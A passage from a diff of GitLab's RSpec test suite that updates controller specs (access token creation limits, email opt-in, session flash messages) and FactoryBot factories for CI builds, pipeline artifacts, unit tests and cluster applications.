index ff52b2a765a..2a7e3d0b322 100644
--- a/spec/controllers/projects/settings/access_tokens_controller_spec.rb
+++ b/spec/controllers/projects/settings/access_tokens_controller_spec.rb
@@ -4,7 +4,8 @@ require('spec_helper')
RSpec.describe Projects::Settings::AccessTokensController do
let_it_be(:user) { create(:user) }
- let_it_be(:project) { create(:project) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, group: group) }
let_it_be(:bot_user) { create(:user, :project_bot) }
before_all do
@@ -40,6 +41,26 @@ RSpec.describe Projects::Settings::AccessTokensController do
it_behaves_like 'feature unavailable'
it_behaves_like 'project access tokens available #create'
+
+ context 'when project access token creation is disabled' do
+ before do
+ group.namespace_settings.update_column(:resource_access_token_creation_allowed, false)
+ end
+
+ it { is_expected.to have_gitlab_http_status(:not_found) }
+
+ it 'does not create the token' do
+ expect { subject }.not_to change { PersonalAccessToken.count }
+ end
+
+ it 'does not add the project bot as a member' do
+ expect { subject }.not_to change { Member.count }
+ end
+
+ it 'does not create the project bot user' do
+ expect { subject }.not_to change { User.count }
+ end
+ end
end
describe '#revoke', :sidekiq_inline do
diff --git a/spec/controllers/projects/settings/ci_cd_controller_spec.rb b/spec/controllers/projects/settings/ci_cd_controller_spec.rb
index 7a6e11d53d4..d953249c139 100644
--- a/spec/controllers/projects/settings/ci_cd_controller_spec.rb
+++ b/spec/controllers/projects/settings/ci_cd_controller_spec.rb
@@ -5,6 +5,7 @@ require('spec_helper')
RSpec.describe Projects::Settings::CiCdController do
let_it_be(:user) { create(:user) }
let_it_be(:project_auto_devops) { create(:project_auto_devops) }
+
let(:project) { project_auto_devops.project }
before do
diff --git a/spec/controllers/projects/settings/operations_controller_spec.rb b/spec/controllers/projects/settings/operations_controller_spec.rb
index 46f69eaf96a..d2934ec4e97 100644
--- a/spec/controllers/projects/settings/operations_controller_spec.rb
+++ b/spec/controllers/projects/settings/operations_controller_spec.rb
@@ -493,6 +493,7 @@ RSpec.describe Projects::Settings::OperationsController do
describe 'PATCH #update' do
let_it_be(:external_url) { 'https://gitlab.com' }
+
let(:params) do
{
tracing_setting_attributes: {
diff --git a/spec/controllers/projects/snippets_controller_spec.rb b/spec/controllers/projects/snippets_controller_spec.rb
index 793ffbbfad9..1a6c0974f08 100644
--- a/spec/controllers/projects/snippets_controller_spec.rb
+++ b/spec/controllers/projects/snippets_controller_spec.rb
@@ -46,6 +46,10 @@ RSpec.describe Projects::SnippetsController do
let(:params) { base_params }
end
+ it_behaves_like 'snippets views' do
+ let(:params) { base_params }
+ end
+
context 'when the project snippet is private' do
let_it_be(:project_snippet) { create(:project_snippet, :private, project: project, author: user) }
diff --git a/spec/controllers/projects/starrers_controller_spec.rb b/spec/controllers/projects/starrers_controller_spec.rb
index 66888fa3024..8d03600cd58 100644
--- a/spec/controllers/projects/starrers_controller_spec.rb
+++ b/spec/controllers/projects/starrers_controller_spec.rb
@@ -170,7 +170,7 @@ RSpec.describe Projects::StarrersController do
context 'when project is private' do
before do
- project.update(visibility_level: Project::PRIVATE)
+ project.update!(visibility_level: Project::PRIVATE)
end
it 'starrers are not visible for non logged in users' do
diff --git a/spec/controllers/projects/static_site_editor_controller_spec.rb b/spec/controllers/projects/static_site_editor_controller_spec.rb
index b563f3b667f..73b0e3bba69 100644
--- a/spec/controllers/projects/static_site_editor_controller_spec.rb
+++ b/spec/controllers/projects/static_site_editor_controller_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Projects::StaticSiteEditorController do
let_it_be(:project) { create(:project, :public, :repository) }
let_it_be(:user) { create(:user) }
+
let(:data) { { key: 'value' } }
describe 'GET index' do
diff --git a/spec/controllers/projects/todos_controller_spec.rb b/spec/controllers/projects/todos_controller_spec.rb
index 0e35f401bc8..9a73417ffdb 100644
--- a/spec/controllers/projects/todos_controller_spec.rb
+++ b/spec/controllers/projects/todos_controller_spec.rb
@@ -5,6 +5,7 @@ require('spec_helper')
RSpec.describe Projects::TodosController do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project) }
+
let(:issue) { create(:issue, project: project) }
let(:merge_request) { create(:merge_request, source_project: project) }
let(:design) { create(:design, project: project, issue: issue) }
diff --git a/spec/controllers/projects/uploads_controller_spec.rb b/spec/controllers/projects/uploads_controller_spec.rb
index dda58f06a37..c008c7253d8 100644
--- a/spec/controllers/projects/uploads_controller_spec.rb
+++ b/spec/controllers/projects/uploads_controller_spec.rb
@@ -29,7 +29,7 @@ RSpec.describe Projects::UploadsController do
let!(:upload) { create(:upload, :issuable_upload, :with_file, model: model) }
let(:project) { model }
let(:upload_path) { File.basename(upload.path) }
- let!(:redirect_route) { project.redirect_routes.create(path: project.full_path + 'old') }
+ let!(:redirect_route) { project.redirect_routes.create!(path: project.full_path + 'old') }
it 'redirects to a file with the proper extension' do
get :show, params: { namespace_id: project.namespace, project_id: project.to_param + 'old', filename: File.basename(upload.path), secret: upload.secret }
diff --git a/spec/controllers/projects_controller_spec.rb b/spec/controllers/projects_controller_spec.rb
index 554487db8f2..ffe2d393b1e 100644
--- a/spec/controllers/projects_controller_spec.rb
+++ b/spec/controllers/projects_controller_spec.rb
@@ -10,6 +10,7 @@ RSpec.describe ProjectsController do
let_it_be(:project, reload: true) { create(:project, service_desk_enabled: false) }
let_it_be(:public_project) { create(:project, :public) }
let_it_be(:user) { create(:user) }
+
let(:jpg) { fixture_file_upload('spec/fixtures/rails_sample.jpg', 'image/jpg') }
let(:txt) { fixture_file_upload('spec/fixtures/doc_sample.txt', 'text/plain') }
@@ -159,7 +160,7 @@ RSpec.describe ProjectsController do
before do
setting = user.notification_settings_for(public_project)
setting.level = :watch
- setting.save
+ setting.save!
end
it "shows current notification setting" do
@@ -221,24 +222,23 @@ RSpec.describe ProjectsController do
allow(controller).to receive(:record_experiment_user)
end
- context 'when user can push to default branch' do
+ context 'when user can push to default branch', :experiment do
let(:user) { empty_project.owner }
- it 'creates an "view_project_show" experiment tracking event', :snowplow do
- allow_next_instance_of(ApplicationExperiment) do |e|
- allow(e).to receive(:should_track?).and_return(true)
- end
+ it 'creates an "view_project_show" experiment tracking event' do
+ expect(experiment(:empty_repo_upload)).to track(
+ :view_project_show,
+ property: 'empty'
+ ).on_next_instance
get :show, params: { namespace_id: empty_project.namespace, id: empty_project }
-
- expect_snowplow_event(category: 'empty_repo_upload', action: 'view_project_show', context: [{ schema: 'iglu:com.gitlab/gitlab_experiment/jsonschema/0-3-0', data: anything }], property: 'empty')
end
end
User.project_views.keys.each do |project_view|
context "with #{project_view} view set" do
before do
- user.update(project_view: project_view)
+ user.update!(project_view: project_view)
get :show, params: { namespace_id: empty_project.namespace, id: empty_project }
end
@@ -261,7 +261,7 @@ RSpec.describe ProjectsController do
User.project_views.keys.each do |project_view|
context "with #{project_view} view set" do
before do
- user.update(project_view: project_view)
+ user.update!(project_view: project_view)
get :show, params: { namespace_id: empty_project.namespace, id: empty_project }
end
@@ -444,7 +444,13 @@ RSpec.describe ProjectsController do
:created,
property: 'blank',
value: 1
- ).on_any_instance.with_context(actor: user)
+ ).with_context(actor: user).on_next_instance
+
+ post :create, params: { project: project_params }
+ end
+
+ it 'tracks a created event for the new_repo experiment', :experiment do
+ expect(experiment(:new_repo, :candidate)).to track(:project_created).on_next_instance
post :create, params: { project: project_params }
end
@@ -549,6 +555,7 @@ RSpec.describe ProjectsController do
describe '#housekeeping' do
let_it_be(:group) { create(:group) }
let_it_be(:project) { create(:project, group: group) }
+
let(:housekeeping) { Repositories::HousekeepingService.new(project) }
context 'when authenticated as owner' do
@@ -1098,6 +1105,7 @@ RSpec.describe ProjectsController do
context 'state filter on references' do
let_it_be(:issue) { create(:issue, :closed, project: public_project) }
+
let(:merge_request) { create(:merge_request, :closed, target_project: public_project) }
it 'renders JSON body with state filter for issues' do
diff --git a/spec/controllers/registrations/welcome_controller_spec.rb b/spec/controllers/registrations/welcome_controller_spec.rb
index d32c936b8c9..008259a8bfa 100644
--- a/spec/controllers/registrations/welcome_controller_spec.rb
+++ b/spec/controllers/registrations/welcome_controller_spec.rb
@@ -60,8 +60,10 @@ RSpec.describe Registrations::WelcomeController do
end
describe '#update' do
+ let(:email_opted_in) { '0' }
+
subject(:update) do
- patch :update, params: { user: { role: 'software_developer', setup_for_company: 'false' } }
+ patch :update, params: { user: { role: 'software_developer', setup_for_company: 'false', email_opted_in: email_opted_in } }
end
context 'without a signed in user' do
@@ -74,6 +76,24 @@ RSpec.describe Registrations::WelcomeController do
end
it { is_expected.to redirect_to(dashboard_projects_path)}
+
+ context 'when the user opted in' do
+ let(:email_opted_in) { '1' }
+
+ it 'sets the email_opted_in field' do
+ subject
+
+ expect(controller.current_user.email_opted_in).to eq(true)
+ end
+ end
+
+ context 'when the user opted out' do
+ it 'sets the email_opted_in field' do
+ subject
+
+ expect(controller.current_user.email_opted_in).to eq(false)
+ end
+ end
end
end
end
diff --git a/spec/controllers/root_controller_spec.rb b/spec/controllers/root_controller_spec.rb
index 49841aa61d7..01ff646274a 100644
--- a/spec/controllers/root_controller_spec.rb
+++ b/spec/controllers/root_controller_spec.rb
@@ -134,26 +134,6 @@ RSpec.describe RootController do
expect(response).to render_template 'dashboard/projects/index'
end
-
- context 'when customize_homepage is enabled' do
- it 'renders the default dashboard' do
- get :index
-
- expect(assigns[:customize_homepage]).to be true
- end
- end
-
- context 'when customize_homepage is not enabled' do
- before do
- stub_feature_flags(customize_homepage: false)
- end
-
- it 'renders the default dashboard' do
- get :index
-
- expect(assigns[:customize_homepage]).to be false
- end
- end
end
end
end
diff --git a/spec/controllers/sessions_controller_spec.rb b/spec/controllers/sessions_controller_spec.rb
index c31ba6fe156..abdafa2880a 100644
--- a/spec/controllers/sessions_controller_spec.rb
+++ b/spec/controllers/sessions_controller_spec.rb
@@ -86,7 +86,7 @@ RSpec.describe SessionsController do
post(:create, params: { user: { login: 'invalid', password: 'invalid' } })
expect(response)
- .to set_flash.now[:alert].to(/Invalid Login or password/)
+ .to set_flash.now[:alert].to(/Invalid login or password/)
end
end
@@ -348,7 +348,7 @@ RSpec.describe SessionsController do
otp_user_id: user.id
)
- expect(response).to set_flash.now[:alert].to(/Invalid Login or password/)
+ expect(response).to set_flash.now[:alert].to(/Invalid login or password/)
end
end
@@ -524,7 +524,7 @@ RSpec.describe SessionsController do
it 'sets the username and caller_id in the context' do
expect(controller).to receive(:destroy).and_wrap_original do |m, *args|
- expect(Labkit::Context.current.to_h)
+ expect(Gitlab::ApplicationContext.current)
.to include('meta.user' => user.username,
'meta.caller_id' => 'SessionsController#destroy')
@@ -538,9 +538,9 @@ RSpec.describe SessionsController do
context 'when not signed in' do
it 'sets the caller_id in the context' do
expect(controller).to receive(:new).and_wrap_original do |m, *args|
- expect(Labkit::Context.current.to_h)
+ expect(Gitlab::ApplicationContext.current)
.to include('meta.caller_id' => 'SessionsController#new')
- expect(Labkit::Context.current.to_h)
+ expect(Gitlab::ApplicationContext.current)
.not_to include('meta.user')
m.call(*args)
@@ -557,9 +557,9 @@ RSpec.describe SessionsController do
it 'sets the caller_id in the context' do
allow_any_instance_of(User).to receive(:lock_access!).and_wrap_original do |m, *args|
- expect(Labkit::Context.current.to_h)
+ expect(Gitlab::ApplicationContext.current)
.to include('meta.caller_id' => 'SessionsController#create')
- expect(Labkit::Context.current.to_h)
+ expect(Gitlab::ApplicationContext.current)
.not_to include('meta.user')
m.call(*args)
diff --git a/spec/db/schema_spec.rb b/spec/db/schema_spec.rb
index d292ba60a12..908d5741709 100644
--- a/spec/db/schema_spec.rb
+++ b/spec/db/schema_spec.rb
@@ -19,7 +19,6 @@ RSpec.describe 'Database schema' do
approver_groups: %w[target_id],
approvers: %w[target_id user_id],
audit_events: %w[author_id entity_id target_id],
- audit_events_archived: %w[author_id entity_id target_id],
award_emoji: %w[awardable_id user_id],
aws_roles: %w[role_external_id],
boards: %w[milestone_id iteration_id],
@@ -86,9 +85,7 @@ RSpec.describe 'Database schema' do
users: %w[color_scheme_id created_by_id theme_id email_opted_in_source_id],
users_star_projects: %w[user_id],
vulnerability_identifiers: %w[external_id],
- vulnerability_scanners: %w[external_id],
- web_hooks: %w[group_id],
- web_hook_logs_part_0c5294f417: %w[web_hook_id]
+ vulnerability_scanners: %w[external_id]
}.with_indifferent_access.freeze
context 'for table' do
@@ -115,7 +112,7 @@ RSpec.describe 'Database schema' do
# postgres and mysql both automatically create an index on the primary
# key. Also, the rails connection.indexes() method does not return
# automatically generated indexes (like the primary key index).
- first_indexed_column = first_indexed_column.push(primary_key_column)
+ first_indexed_column.push(primary_key_column)
expect(first_indexed_column.uniq).to include(*foreign_keys_columns)
end
diff --git a/spec/deprecation_toolkit_env.rb b/spec/deprecation_toolkit_env.rb
index f4ead6d5f01..fb70a8844a1 100644
--- a/spec/deprecation_toolkit_env.rb
+++ b/spec/deprecation_toolkit_env.rb
@@ -55,12 +55,10 @@ module DeprecationToolkitEnv
# one by one
def self.allowed_kwarg_warning_paths
%w[
- activerecord-6.0.3.4/lib/active_record/migration.rb
- devise-4.7.3/lib/devise/test/controller_helpers.rb
- activesupport-6.0.3.4/lib/active_support/cache.rb
- batch-loader-1.4.0/lib/batch_loader/graphql.rb
+ activerecord-6.0.3.6/lib/active_record/migration.rb
+ activesupport-6.0.3.6/lib/active_support/cache.rb
carrierwave-1.3.1/lib/carrierwave/sanitized_file.rb
- activerecord-6.0.3.4/lib/active_record/relation.rb
+ activerecord-6.0.3.6/lib/active_record/relation.rb
selenium-webdriver-3.142.7/lib/selenium/webdriver/firefox/driver.rb
asciidoctor-2.0.12/lib/asciidoctor/extensions.rb
]
diff --git a/spec/experiments/application_experiment_spec.rb b/spec/experiments/application_experiment_spec.rb
index 2481ee5a806..424a3af20a3 100644
--- a/spec/experiments/application_experiment_spec.rb
+++ b/spec/experiments/application_experiment_spec.rb
@@ -114,7 +114,7 @@ RSpec.describe ApplicationExperiment, :experiment do
data: { data: '_data_' }
},
{
- schema: 'iglu:com.gitlab/gitlab_experiment/jsonschema/0-3-0',
+ schema: 'iglu:com.gitlab/gitlab_experiment/jsonschema/1-0-0',
data: { experiment: 'namespaced/stub', key: '86208ac54ca798e11f127e8b23ec396a', variant: 'control' }
}
]
diff --git a/spec/experiments/members/invite_email_experiment_spec.rb b/spec/experiments/members/invite_email_experiment_spec.rb
index 539230e39b9..a9a269347e0 100644
--- a/spec/experiments/members/invite_email_experiment_spec.rb
+++ b/spec/experiments/members/invite_email_experiment_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Members::InviteEmailExperiment do
+RSpec.describe Members::InviteEmailExperiment, :clean_gitlab_redis_shared_state do
subject(:invite_email) { experiment('members/invite_email', **context) }
let(:context) { { actor: double('Member', created_by: double('User', avatar_url: '_avatar_url_')) } }
@@ -23,7 +23,7 @@ RSpec.describe Members::InviteEmailExperiment do
end
end
- describe "variant resolution", :clean_gitlab_redis_shared_state do
+ describe "variant resolution" do
it "proves out round robin in variant selection", :aggregate_failures do
instance_1 = described_class.new('members/invite_email', **context)
allow(instance_1).to receive(:enabled?).and_return(true)
@@ -45,4 +45,69 @@ RSpec.describe Members::InviteEmailExperiment do
expect(instance_3.variant.name).to eq('avatar')
end
end
+
+ describe Members::RoundRobin do
+ subject(:round_robin) { Members::RoundRobin.new('_key_', %i[variant1 variant2]) }
+
+ describe "execute" do
+ context "when there are 2 variants" do
+ it "proves out round robin in selection", :aggregate_failures do
+ expect(round_robin.execute).to eq :variant2
+ expect(round_robin.execute).to eq :variant1
+ expect(round_robin.execute).to eq :variant2
+ end
+ end
+
+ context "when there are more than 2 variants" do
+ subject(:round_robin) { Members::RoundRobin.new('_key_', %i[variant1 variant2 variant3]) }
+
+ it "proves out round robin in selection", :aggregate_failures do
+ expect(round_robin.execute).to eq :variant2
+ expect(round_robin.execute).to eq :variant3
+ expect(round_robin.execute).to eq :variant1
+
+ expect(round_robin.execute).to eq :variant2
+ expect(round_robin.execute).to eq :variant3
+ expect(round_robin.execute).to eq :variant1
+ end
+ end
+
+ context "when writing to cache fails" do
+ subject(:round_robin) { Members::RoundRobin.new('_key_', []) }
+
+ it "raises an error and logs" do
+ allow(Gitlab::Redis::SharedState).to receive(:with).and_raise(Members::RoundRobin::CacheError)
+ expect(Gitlab::AppLogger).to receive(:warn)
+
+ expect { round_robin.execute }.to raise_error(Members::RoundRobin::CacheError)
+ end
+ end
+ end
+
+ describe "#counter_expires_in" do
+ it 'displays the expiration time in seconds' do
+ round_robin.execute
+
+ expect(round_robin.counter_expires_in).to be_between(0, described_class::COUNTER_EXPIRE_TIME)
+ end
+ end
+
+ describe '#value' do
+ it 'get the count' do
+ expect(round_robin.counter_value).to eq(0)
+
+ round_robin.execute
+
+ expect(round_robin.counter_value).to eq(1)
+ end
+ end
+
+ describe '#reset!' do
+ it 'resets the count down to zero' do
+ 3.times { round_robin.execute }
+
+ expect { round_robin.reset! }.to change { round_robin.counter_value }.from(3).to(0)
+ end
+ end
+ end
end
diff --git a/spec/experiments/new_project_readme_experiment_spec.rb b/spec/experiments/new_project_readme_experiment_spec.rb
index 17e28cf6e7f..87446394bff 100644
--- a/spec/experiments/new_project_readme_experiment_spec.rb
+++ b/spec/experiments/new_project_readme_experiment_spec.rb
@@ -7,10 +7,6 @@ RSpec.describe NewProjectReadmeExperiment, :experiment do
let(:actor) { User.new(id: 42, created_at: Time.current) }
- before do
- stub_experiments(new_project_readme: :control)
- end
-
describe "exclusions" do
let(:threshold) { described_class::MAX_ACCOUNT_AGE }
diff --git a/spec/experiments/strategy/round_robin_spec.rb b/spec/experiments/strategy/round_robin_spec.rb
deleted file mode 100644
index f837a4701b2..00000000000
--- a/spec/experiments/strategy/round_robin_spec.rb
+++ /dev/null
@@ -1,68 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Strategy::RoundRobin, :clean_gitlab_redis_shared_state do
- subject(:round_robin) { described_class.new('_key_', %i[variant1 variant2]) }
-
- describe "execute" do
- context "when there are 2 variants" do
- it "proves out round robin in selection", :aggregate_failures do
- expect(round_robin.execute).to eq :variant2
- expect(round_robin.execute).to eq :variant1
- expect(round_robin.execute).to eq :variant2
- end
- end
-
- context "when there are more than 2 variants" do
- subject(:round_robin) { described_class.new('_key_', %i[variant1 variant2 variant3]) }
-
- it "proves out round robin in selection", :aggregate_failures do
- expect(round_robin.execute).to eq :variant2
- expect(round_robin.execute).to eq :variant3
- expect(round_robin.execute).to eq :variant1
-
- expect(round_robin.execute).to eq :variant2
- expect(round_robin.execute).to eq :variant3
- expect(round_robin.execute).to eq :variant1
- end
- end
-
- context "when writing to cache fails" do
- subject(:round_robin) { described_class.new('_key_', []) }
-
- it "raises an error and logs" do
- allow(Gitlab::Redis::SharedState).to receive(:with).and_raise(Strategy::RoundRobin::CacheError)
- expect(Gitlab::AppLogger).to receive(:warn)
-
- expect { round_robin.execute }.to raise_error(Strategy::RoundRobin::CacheError)
- end
- end
- end
-
- describe "#counter_expires_in" do
- it 'displays the expiration time in seconds' do
- round_robin.execute
-
- expect(round_robin.counter_expires_in).to be_between(0, described_class::COUNTER_EXPIRE_TIME)
- end
- end
-
- describe '#value' do
- it 'get the count' do
- expect(round_robin.counter_value).to eq(0)
-
- round_robin.execute
-
- expect(round_robin.counter_value).to eq(1)
- end
- end
-
- describe '#reset!' do
- it 'resets the count down to zero' do
- 3.times { round_robin.execute }
-
- expect { round_robin.reset! }.to change { round_robin.counter_value }.from(3).to(0)
- end
- end
-end
diff --git a/spec/factories/atlassian_identities.rb b/spec/factories/atlassian_identities.rb
index 698cf4ae7ad..80420e335a9 100644
--- a/spec/factories/atlassian_identities.rb
+++ b/spec/factories/atlassian_identities.rb
@@ -3,7 +3,7 @@
FactoryBot.define do
factory :atlassian_identity, class: 'Atlassian::Identity' do
extern_uid { generate(:username) }
- user { create(:user) }
+ user { association(:user) }
expires_at { 2.weeks.from_now }
token { SecureRandom.alphanumeric(1254) }
refresh_token { SecureRandom.alphanumeric(45) }
diff --git a/spec/factories/bulk_import/trackers.rb b/spec/factories/bulk_import/trackers.rb
index 03af5b41e0f..94340b0f389 100644
--- a/spec/factories/bulk_import/trackers.rb
+++ b/spec/factories/bulk_import/trackers.rb
@@ -5,7 +5,19 @@ FactoryBot.define do
association :entity, factory: :bulk_import_entity
stage { 0 }
- relation { :relation }
has_next_page { false }
+ sequence(:pipeline_name) { |n| "pipeline_name_#{n}" }
+
+ trait :started do
+ status { 1 }
+
+ sequence(:jid) { |n| "bulk_import_entity_#{n}" }
+ end
+
+ trait :finished do
+ status { 2 }
+
+ sequence(:jid) { |n| "bulk_import_entity_#{n}" }
+ end
end
end
diff --git a/spec/factories/ci/builds.rb b/spec/factories/ci/builds.rb
index 886be520668..b06d581d2c0 100644
--- a/spec/factories/ci/builds.rb
+++ b/spec/factories/ci/builds.rb
@@ -30,6 +30,21 @@ FactoryBot.define do
yaml_variables { nil }
end
+ trait :unique_name do
+ name { generate(:job_name) }
+ end
+
+ trait :dependent do
+ transient do
+ sequence(:needed_name) { |n| "dependency #{n}" }
+ needed { association(:ci_build, name: needed_name, pipeline: pipeline) }
+ end
+
+ after(:create) do |build, evaluator|
+ build.needs << create(:ci_build_need, build: build, name: evaluator.needed.name)
+ end
+ end
+
trait :started do
started_at { 'Di 29. Okt 09:51:28 CET 2013' }
end
diff --git a/spec/factories/ci/pipeline_artifacts.rb b/spec/factories/ci/pipeline_artifacts.rb
index 05ff7afed7c..3250c7abb4b 100644
--- a/spec/factories/ci/pipeline_artifacts.rb
+++ b/spec/factories/ci/pipeline_artifacts.rb
@@ -13,6 +13,22 @@ FactoryBot.define do
Rails.root.join('spec/fixtures/pipeline_artifacts/code_coverage.json'), 'application/json')
end
+ trait :checksummed do
+ verification_checksum { 'abc' }
+ end
+
+ trait :checksum_failure do
+ verification_failure { 'Could not calculate the checksum' }
+ end
+
+ trait :expired do
+ expire_at { Date.yesterday }
+ end
+
+ trait :remote_store do
+ file_store { ::ObjectStorage::Store::REMOTE}
+ end
+
trait :with_coverage_report do
file_type { :code_coverage }
diff --git a/spec/factories/ci/reports/codequality_degradations.rb b/spec/factories/ci/reports/codequality_degradations.rb
index d82157b457a..8b53f2bf46e 100644
--- a/spec/factories/ci/reports/codequality_degradations.rb
+++ b/spec/factories/ci/reports/codequality_degradations.rb
@@ -95,4 +95,47 @@ FactoryBot.define do
}.with_indifferent_access
end
end
+
+ # TODO: Use this in all other specs and remove the previous numbered factories
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/325886
+ factory :codequality_degradation, class: Hash do
+ skip_create
+
+ # Feel free to add in more configurable properties here
+ # as the need arises
+ fingerprint { SecureRandom.hex }
+ severity { "major" }
+
+ Gitlab::Ci::Reports::CodequalityReports::SEVERITY_PRIORITIES.keys.each do |s|
+ trait s.to_sym do
+ severity { s }
+ end
+ end
+
+ initialize_with do
+ {
+ "categories": [
+ "Complexity"
+ ],
+ "check_name": "argument_count",
+ "content": {
+ "body": ""
+ },
+ "description": "Avoid parameter lists longer than 5 parameters. [12/5]",
+ "fingerprint": fingerprint,
+ "location": {
+ "path": "file_a.rb",
+ "lines": {
+ "begin": 10,
+ "end": 10
+ }
+ },
+ "other_locations": [],
+ "remediation_points": 900000,
+ "severity": severity,
+ "type": "issue",
+ "engine_name": "structure"
+ }.with_indifferent_access
+ end
+ end
end
diff --git a/spec/factories/ci/test_case.rb b/spec/factories/ci/test_case.rb
deleted file mode 100644
index 601a3fae970..00000000000
--- a/spec/factories/ci/test_case.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-# frozen_string_literal: true
-
-FactoryBot.define do
- factory :ci_test_case, class: 'Ci::TestCase' do
- project
- key_hash { Digest::SHA256.hexdigest(SecureRandom.hex) }
- end
-end
diff --git a/spec/factories/ci/test_case_failure.rb b/spec/factories/ci/test_case_failure.rb
deleted file mode 100644
index 11fb002804b..00000000000
--- a/spec/factories/ci/test_case_failure.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-FactoryBot.define do
- factory :ci_test_case_failure, class: 'Ci::TestCaseFailure' do
- build factory: :ci_build
- test_case factory: :ci_test_case
- failed_at { Time.current }
- end
-end
diff --git a/spec/factories/ci/unit_test.rb b/spec/factories/ci/unit_test.rb
new file mode 100644
index 00000000000..480724f260a
--- /dev/null
+++ b/spec/factories/ci/unit_test.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :ci_unit_test, class: 'Ci::UnitTest' do
+ project
+ suite_name { 'rspec' }
+ name { 'Math#add returns sum' }
+ key_hash { Digest::SHA256.hexdigest(SecureRandom.hex) }
+ end
+end
diff --git a/spec/factories/ci/unit_test_failure.rb b/spec/factories/ci/unit_test_failure.rb
new file mode 100644
index 00000000000..07cd3419754
--- /dev/null
+++ b/spec/factories/ci/unit_test_failure.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :ci_unit_test_failure, class: 'Ci::UnitTestFailure' do
+ build factory: :ci_build
+ unit_test factory: :ci_unit_test
+ failed_at { Time.current }
+ end
+end
diff --git a/spec/factories/clusters/applications/helm.rb b/spec/factories/clusters/applications/helm.rb
index 01df5cc677d..1ff1292c36e 100644
--- a/spec/factories/clusters/applications/helm.rb
+++ b/spec/factories/clusters/applications/helm.rb
@@ -4,18 +4,26 @@ FactoryBot.define do
factory :clusters_applications_helm, class: 'Clusters::Applications::Helm' do
cluster factory: %i(cluster provided_by_gcp)
- before(:create) do
- allow(Gitlab::Kubernetes::Helm::V2::Certificate).to receive(:generate_root)
- .and_return(
- double(
- key_string: File.read(Rails.root.join('spec/fixtures/clusters/sample_key.key')),
- cert_string: File.read(Rails.root.join('spec/fixtures/clusters/sample_cert.pem'))
+ transient do
+ helm_installed { true }
+ end
+
+ before(:create) do |_record, evaluator|
+ if evaluator.helm_installed
+ allow(Gitlab::Kubernetes::Helm::V2::Certificate).to receive(:generate_root)
+ .and_return(
+ double(
+ key_string: File.read(Rails.root.join('spec/fixtures/clusters/sample_key.key')),
+ cert_string: File.read(Rails.root.join('spec/fixtures/clusters/sample_cert.pem'))
+ )
)
- )
+ end
end
- after(:create) do
- allow(Gitlab::Kubernetes::Helm::V2::Certificate).to receive(:generate_root).and_call_original
+ after(:create) do |_record, evaluator|
+ if evaluator.helm_installed
+ allow(Gitlab::Kubernetes::Helm::V2::Certificate).to receive(:generate_root).and_call_original
+ end
end
trait :not_installable do
@@ -69,19 +77,28 @@ FactoryBot.define do
status { 10 }
end
+ trait :externally_installed do
+ status { 11 }
+ end
+
trait :timed_out do
installing
updated_at { ClusterWaitForAppInstallationWorker::TIMEOUT.ago }
end
+ # Common trait used by the apps below
+ trait :no_helm_installed do
+ cluster factory: %i(cluster provided_by_gcp)
+
+ transient do
+ helm_installed { false }
+ end
+ end
+
factory :clusters_applications_ingress, class: 'Clusters::Applications::Ingress' do
modsecurity_enabled { false }
cluster factory: %i(cluster with_installed_helm provided_by_gcp)
- trait :no_helm_installed do
- cluster factory: %i(cluster provided_by_gcp)
- end
-
trait :modsecurity_blocking do
modsecurity_enabled { true }
modsecurity_mode { :blocking }
@@ -104,62 +121,34 @@ FactoryBot.define do
factory :clusters_applications_cert_manager, class: 'Clusters::Applications::CertManager' do
email { 'admin@example.com' }
cluster factory: %i(cluster with_installed_helm provided_by_gcp)
-
- trait :no_helm_installed do
- cluster factory: %i(cluster provided_by_gcp)
- end
end
factory :clusters_applications_elastic_stack, class: 'Clusters::Applications::ElasticStack' do
cluster factory: %i(cluster with_installed_helm provided_by_gcp)
-
- trait :no_helm_installed do
- cluster factory: %i(cluster provided_by_gcp)
- end
end
factory :clusters_applications_crossplane, class: 'Clusters::Applications::Crossplane' do
stack { 'gcp' }
cluster factory: %i(cluster with_installed_helm provided_by_gcp)
-
- trait :no_helm_installed do
- cluster factory: %i(cluster provided_by_gcp)
- end
end
factory :clusters_applications_prometheus, class: 'Clusters::Applications::Prometheus' do
cluster factory: %i(cluster with_installed_helm provided_by_gcp)
-
- trait :no_helm_installed do
- cluster factory: %i(cluster provided_by_gcp)
- end
end
factory :clusters_applications_runner, class: 'Clusters::Applications::Runner' do
runner factory: %i(ci_runner)
cluster factory: %i(cluster with_installed_helm provided_by_gcp)
-
- trait :no_helm_installed do
- cluster factory: %i(cluster provided_by_gcp)
- end
end
factory :clusters_applications_knative, class: 'Clusters::Applications::Knative' do
hostname { 'example.com' }
cluster factory: %i(cluster with_installed_helm provided_by_gcp)
-
- trait :no_helm_installed do
- cluster factory: %i(cluster provided_by_gcp)
- end
end
factory :clusters_applications_jupyter, class: 'Clusters::Applications::Jupyter' do
oauth_application factory: :oauth_application
cluster factory: %i(cluster with_installed_helm provided_by_gcp project)
-
- trait :no_helm_installed do
- cluster factory: %i(cluster provided_by_gcp)
- end
end
factory :clusters_applications_fluentd, class: 'Clusters::Applications::Fluentd' do
@@ -167,18 +156,10 @@ FactoryBot.define do
waf_log_enabled { true }
cilium_log_enabled { true }
cluster factory: %i(cluster with_installed_helm provided_by_gcp)
-
- trait :no_helm_installed do
- cluster factory: %i(cluster provided_by_gcp)
- end
end
factory :clusters_applications_cilium, class: 'Clusters::Applications::Cilium' do
cluster factory: %i(cluster with_installed_helm provided_by_gcp)
-
- trait :no_helm_installed do
- cluster factory: %i(cluster provided_by_gcp)
- end
end
end
end
diff --git a/spec/factories/clusters/integrations/prometheus.rb b/spec/factories/clusters/integrations/prometheus.rb
new file mode 100644
index 00000000000..1f0bb1ed512
--- /dev/null
+++ b/spec/factories/clusters/integrations/prometheus.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
